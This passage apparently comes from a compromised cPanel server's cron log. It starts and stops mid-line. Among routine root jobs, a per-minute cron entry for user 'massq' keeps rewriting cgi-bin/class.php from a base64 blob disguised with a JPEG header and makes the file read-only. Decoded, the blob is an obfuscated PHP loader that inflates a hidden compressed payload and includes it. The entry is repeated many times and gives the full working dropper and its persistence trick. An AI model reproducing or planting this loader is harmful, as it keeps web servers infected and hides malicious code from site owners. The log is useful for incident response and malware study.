5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 22:42:01 server CROND[21944]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 22:42:01 server CROND[21945]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  6 22:43:01 server CROND[22119]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 22:44:01 server CROND[22194]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 22:45:01 server CROND[22268]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 22:45:01 server CROND[22270]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 22:45:01 server CROND[22269]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 22:46:01 server CROND[22393]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 22:47:01 server CROND[22475]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 22:48:01 server CROND[22540]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 22:49:01 server CROND[22606]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 22:50:01 server CROND[22767]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 22:50:01 server CROND[22769]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 22:50:01 server CROND[22770]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 22:50:01 server CROND[22768]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  6 22:50:01 server CROND[22771]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 22:51:01 server CROND[22905]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 22:52:01 server CROND[22968]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 22:53:01 server CROND[23044]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 22:54:01 server CROND[23106]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 22:55:01 server CROND[23169]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 22:55:01 server CROND[23170]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JH